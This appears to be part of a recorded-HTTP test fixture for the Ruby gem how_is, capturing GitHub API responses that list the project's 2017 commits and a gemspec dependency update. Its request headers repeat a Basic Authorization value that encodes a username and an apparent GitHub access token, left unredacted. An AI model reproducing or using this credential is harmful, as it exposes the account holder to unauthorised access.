ha":"bd8b4d0de0b8d4b78bade31b3f76438270840a28","url":"https://api.github.com/repos/how-is/how_is/commits/bd8b4d0de0b8d4b78bade31b3f76438270840a28","html_url":"https://github.com/how-is/how_is/commit/bd8b4d0de0b8d4b78bade31b3f76438270840a28"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"85c57cfa60b70642adf038ade5e1c1b17a04a5bc","filename":"how_is.gemspec","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/1829e9f5ba45d837345b9f86cd15eba79719eb24/how_is.gemspec","raw_url":"https://github.com/how-is/how_is/raw/1829e9f5ba45d837345b9f86cd15eba79719eb24/how_is.gemspec","contents_url":"https://api.github.com/repos/how-is/how_is/contents/how_is.gemspec?ref=1829e9f5ba45d837345b9f86cd15eba79719eb24","patch":"@@ -19,8 +19,8 @@ Gem::Specification.new do |spec|\n spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }\n spec.require_paths = [\"lib\"]\n \n- spec.add_runtime_dependency \"github_api\", \"~> 0.14.5\"\n- spec.add_runtime_dependency \"contracts\", \"~> 0.14.0\"\n+ spec.add_runtime_dependency \"github_api\", \"~> 0.17.0\"\n+ spec.add_runtime_dependency \"contracts\", \"~> 0.16.0\"\n spec.add_runtime_dependency \"slop\", \"~> 4.4.1\"\n \n spec.add_runtime_dependency \"tessellator-fetcher\", \"~> 5.0.0\""}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:44 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits?author=the@smallest.dog&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:45 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3345' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"8579537f581d5243cb7d605a1230dfe9" Last-Modified: - Fri, 26 May 2017 10:25:12 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - DB73:5096:297233:53F4EE:5CC36AEC body: encoding: ASCII-8BIT string: '[{"sha":"bd8b4d0de0b8d4b78bade31b3f76438270840a28","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmQ4YjRkMGRlMGI4ZDRiNzhiYWRlMzFiM2Y3NjQzODI3MDg0MGEyOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-05-26T10:25:12Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-05-26T10:25:12Z"},"message":"Merge pull request #162 from how-is/fix-rubocop-violations\n\nFix (a significant number of) RuboCop violations.","tree":{"sha":"261db225bdc37a344f0650326271416f8e028dbc","url":"https://api.github.com/repos/how-is/how_is/git/trees/261db225bdc37a344f0650326271416f8e028dbc"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/bd8b4d0de0b8d4b78bade31b3f76438270840a28","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/bd8b4d0de0b8d4b78bade31b3f76438270840a28","html_url":"https://github.com/how-is/how_is/commit/bd8b4d0de0b8d4b78bade31b3f76438270840a28","comments_url":"https://api.github.com/repos/how-is/how_is/commits/bd8b4d0de0b8d4b78bade31b3f76438270840a28/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"ee3bf859282756b84db9cb5673952a22c76a477b","url":"https://api.github.com/repos/how-is/how_is/commits/ee3bf859282756b84db9cb5673952a22c76a477b","html_url":"https://github.com/how-is/how_is/commit/ee3bf859282756b84db9cb5673952a22c76a477b"},{"sha":"20dee8ce73a1f23ca50bd8600f3f6a8dda924204","url":"https://api.github.com/repos/how-is/how_is/commits/20dee8ce73a1f23ca50bd8600f3f6a8dda924204","html_url":"https://github.com/how-is/how_is/commit/20dee8ce73a1f23ca50bd8600f3f6a8dda924204"}]},{"sha":"20dee8ce73a1f23ca50bd8600f3f6a8dda924204","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjBkZWU4Y2U3M2ExZjIzY2E1MGJkODYwMGYzZjZhOGRkYTkyNDIwNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-05-26T10:23:21Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-05-26T10:23:21Z"},"message":"Merge branch ''master'' into fix-rubocop-violations","tree":{"sha":"261db225bdc37a344f0650326271416f8e028dbc","url":"https://api.github.com/repos/how-is/how_is/git/trees/261db225bdc37a344f0650326271416f8e028dbc"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/20dee8ce73a1f23ca50bd8600f3f6a8dda924204","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/20dee8ce73a1f23ca50bd8600f3f6a8dda924204","html_url":"https://github.com/how-is/how_is/commit/20dee8ce73a1f23ca50bd8600f3f6a8dda924204","comments_url":"https://api.github.com/repos/how-is/how_is/commits/20dee8ce73a1f23ca50bd8600f3f6a8dda924204/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"8da03a2f018e82d280d7fef599767a2c12c90a0b","url":"https://api.github.com/repos/how-is/how_is/commits/8da03a2f018e82d280d7fef599767a2c12c90a0b","html_url":"https://github.com/how-is/how_is/commit/8da03a2f018e82d280d7fef599767a2c12c90a0b"},{"sha":"ee3bf859282756b84db9cb5673952a22c76a477b","url":"https://api.github.com/repos/how-is/how_is/commits/ee3bf859282756b84db9cb5673952a22c76a477b","html_url":"https://github.com/how-is/how_is/commit/ee3bf859282756b84db9cb5673952a22c76a477b"}]},{"sha":"ee3bf859282756b84db9cb5673952a22c76a477b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWUzYmY4NTkyODI3NTZiODRkYjljYjU2NzM5NTJhMjJjNzZhNDc3Yg==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-05-26T10:20:46Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-05-26T10:20:46Z"},"message":"Merge pull request #161 from olleolleolle/patch-3\n\nREADME: Drop from_config_file reference","tree":{"sha":"5e6b603aa29e876c5b0fa908119b399aa426be2a","url":"https://api.github.com/repos/how-is/how_is/git/trees/5e6b603aa29e876c5b0fa908119b399aa426be2a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ee3bf859282756b84db9cb5673952a22c76a477b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ee3bf859282756b84db9cb5673952a22c76a477b","html_url":"https://github.com/how-is/how_is/commit/ee3bf859282756b84db9cb5673952a22c76a477b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ee3bf859282756b84db9cb5673952a22c76a477b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"508952623a3a7ea166ae545bb0c42405ee3eb395","url":"https://api.github.com/repos/how-is/how_is/commits/508952623a3a7ea166ae545bb0c42405ee3eb395","html_url":"https://github.com/how-is/how_is/commit/508952623a3a7ea166ae545bb0c42405ee3eb395"},{"sha":"0c0336ac8368cfae2c2169c92ddd06b2fd0658f6","url":"https://api.github.com/repos/how-is/how_is/commits/0c0336ac8368cfae2c2169c92ddd06b2fd0658f6","html_url":"https://github.com/how-is/how_is/commit/0c0336ac8368cfae2c2169c92ddd06b2fd0658f6"}]},{"sha":"508952623a3a7ea166ae545bb0c42405ee3eb395","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTA4OTUyNjIzYTNhN2VhMTY2YWU1NDViYjBjNDI0MDVlZTNlYjM5NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-05-26T04:51:57Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-05-26T04:51:57Z"},"message":"Merge pull request #160 from how-is/rubocop-gemspec\n\nmove rubocop dep to gemspec","tree":{"sha":"ad00e8f0608427e76986dc2418ee98e6a0c6c18e","url":"https://api.github.com/repos/how-is/how_is/git/trees/ad00e8f0608427e76986dc2418ee98e6a0c6c18e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/508952623a3a7ea166ae545bb0c42405ee3eb395","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/508952623a3a7ea166ae545bb0c42405ee3eb395","html_url":"https://github.com/how-is/how_is/commit/508952623a3a7ea166ae545bb0c42405ee3eb395","comments_url":"https://api.github.com/repos/how-is/how_is/commits/508952623a3a7ea166ae545bb0c42405ee3eb395/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"3f6f3ca8e9811843c1de1b21778f112804311c60","url":"https://api.github.com/repos/how-is/how_is/commits/3f6f3ca8e9811843c1de1b21778f112804311c60","html_url":"https://github.com/how-is/how_is/commit/3f6f3ca8e9811843c1de1b21778f112804311c60"},{"sha":"9a4de0b4ace828db4675f947848e53796134f94f","url":"https://api.github.com/repos/how-is/how_is/commits/9a4de0b4ace828db4675f947848e53796134f94f","html_url":"https://github.com/how-is/how_is/commit/9a4de0b4ace828db4675f947848e53796134f94f"}]},{"sha":"3f6f3ca8e9811843c1de1b21778f112804311c60","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6M2Y2ZjNjYThlOTgxMTg0M2MxZGUxYjIxNzc4ZjExMjgwNDMxMWM2MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-05-25T22:57:31Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-05-25T22:57:31Z"},"message":"Merge pull request #159 from how-is/v1803-release\n\nv18.0.3 -- CHANGELOG and version bump.","tree":{"sha":"e6cb45031de5393033ae117396980703db480897","url":"https://api.github.com/repos/how-is/how_is/git/trees/e6cb45031de5393033ae117396980703db480897"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3f6f3ca8e9811843c1de1b21778f112804311c60","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3f6f3ca8e9811843c1de1b21778f112804311c60","html_url":"https://github.com/how-is/how_is/commit/3f6f3ca8e9811843c1de1b21778f112804311c60","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3f6f3ca8e9811843c1de1b21778f112804311c60/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"b1c181ba6cab6e3433f70271405bef7b8be43f4b","url":"https://api.github.com/repos/how-is/how_is/commits/b1c181ba6cab6e3433f70271405bef7b8be43f4b","html_url":"https://github.com/how-is/how_is/commit/b1c181ba6cab6e3433f70271405bef7b8be43f4b"},{"sha":"78601ebcd5819c1b0a224b17af63741b18454000","url":"https://api.github.com/repos/how-is/how_is/commits/78601ebcd5819c1b0a224b17af63741b18454000","html_url":"https://github.com/how-is/how_is/commit/78601ebcd5819c1b0a224b17af63741b18454000"}]},{"sha":"a6ac95cc316ad37542e625b83bb9896334bbcd98","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YTZhYzk1Y2MzMTZhZDM3NTQyZTYyNWI4M2JiOTg5NjMzNGJiY2Q5OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-05-25T22:52:36Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-05-25T22:52:36Z"},"message":"v18.0.3 -- CHANGELOG and version bump.","tree":{"sha":"6e86834a2d072e4b2a652fc6df6ee484f1afee3c","url":"https://api.github.com/repos/how-is/how_is/git/trees/6e86834a2d072e4b2a652fc6df6ee484f1afee3c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/a6ac95cc316ad37542e625b83bb9896334bbcd98","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/a6ac95cc316ad37542e625b83bb9896334bbcd98","html_url":"https://github.com/how-is/how_is/commit/a6ac95cc316ad37542e625b83bb9896334bbcd98","comments_url":"https://api.github.com/repos/how-is/how_is/commits/a6ac95cc316ad37542e625b83bb9896334bbcd98/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"b1c181ba6cab6e3433f70271405bef7b8be43f4b","url":"https://api.github.com/repos/how-is/how_is/commits/b1c181ba6cab6e3433f70271405bef7b8be43f4b","html_url":"https://github.com/how-is/how_is/commit/b1c181ba6cab6e3433f70271405bef7b8be43f4b"}]},{"sha":"b1c181ba6cab6e3433f70271405bef7b8be43f4b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjFjMTgxYmE2Y2FiNmUzNDMzZjcwMjcxNDA1YmVmN2I4YmU0M2Y0Yg==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-05-15T13:32:13Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-05-15T13:32:13Z"},"message":"Merge pull request #158 from how-is/rubocop-config\n\nAdd RuboCop config","tree":{"sha":"15071fb92d8a2630de32ecfb7634c390f59f1485","url":"https://api.github.com/repos/how-is/how_is/git/trees/15071fb92d8a2630de32ecfb7634c390f59f1485"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b1c181ba6cab6e3433f70271405bef7b8be43f4b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b1c181ba6cab6e3433f70271405bef7b8be43f4b","html_url":"https://github.com/how-is/how_is/commit/b1c181ba6cab6e3433f70271405bef7b8be43f4b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b1c181ba6cab6e3433f70271405bef7b8be43f4b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"356b7f7568d00923f69d088be0be6a12e8980c2d","url":"https://api.github.com/repos/how-is/how_is/commits/356b7f7568d00923f69d088be0be6a12e8980c2d","html_url":"https://github.com/how-is/how_is/commit/356b7f7568d00923f69d088be0be6a12e8980c2d"},{"sha":"dd2800c3fb686ca8757881b111bc900d19627ba8","url":"https://api.github.com/repos/how-is/how_is/commits/dd2800c3fb686ca8757881b111bc900d19627ba8","html_url":"https://github.com/how-is/how_is/commit/dd2800c3fb686ca8757881b111bc900d19627ba8"}]},{"sha":"356b7f7568d00923f69d088be0be6a12e8980c2d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzU2YjdmNzU2OGQwMDkyM2Y2OWQwODhiZTBiZTZhMTJlODk4MGMyZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-05-15T06:59:45Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-05-15T06:59:45Z"},"message":"Merge pull request #157 from how-is/cli-parser-refactor\n\nCLI parser refactor","tree":{"sha":"1270ef695749e4178d8e938d7384d68e020d86a6","url":"https://api.github.com/repos/how-is/how_is/git/trees/1270ef695749e4178d8e938d7384d68e020d86a6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/356b7f7568d00923f69d088be0be6a12e8980c2d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/356b7f7568d00923f69d088be0be6a12e8980c2d","html_url":"https://github.com/how-is/how_is/commit/356b7f7568d00923f69d088be0be6a12e8980c2d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/356b7f7568d00923f69d088be0be6a12e8980c2d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"4b3ad7a6da0b916e18f8dcdb827f902ee7e2c2a0","url":"https://api.github.com/repos/how-is/how_is/commits/4b3ad7a6da0b916e18f8dcdb827f902ee7e2c2a0","html_url":"https://github.com/how-is/how_is/commit/4b3ad7a6da0b916e18f8dcdb827f902ee7e2c2a0"},{"sha":"522ebebc37aba43caae00597bc332187d2ef64b3","url":"https://api.github.com/repos/how-is/how_is/commits/522ebebc37aba43caae00597bc332187d2ef64b3","html_url":"https://github.com/how-is/how_is/commit/522ebebc37aba43caae00597bc332187d2ef64b3"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:45 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits?author=me@duckie.co&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK 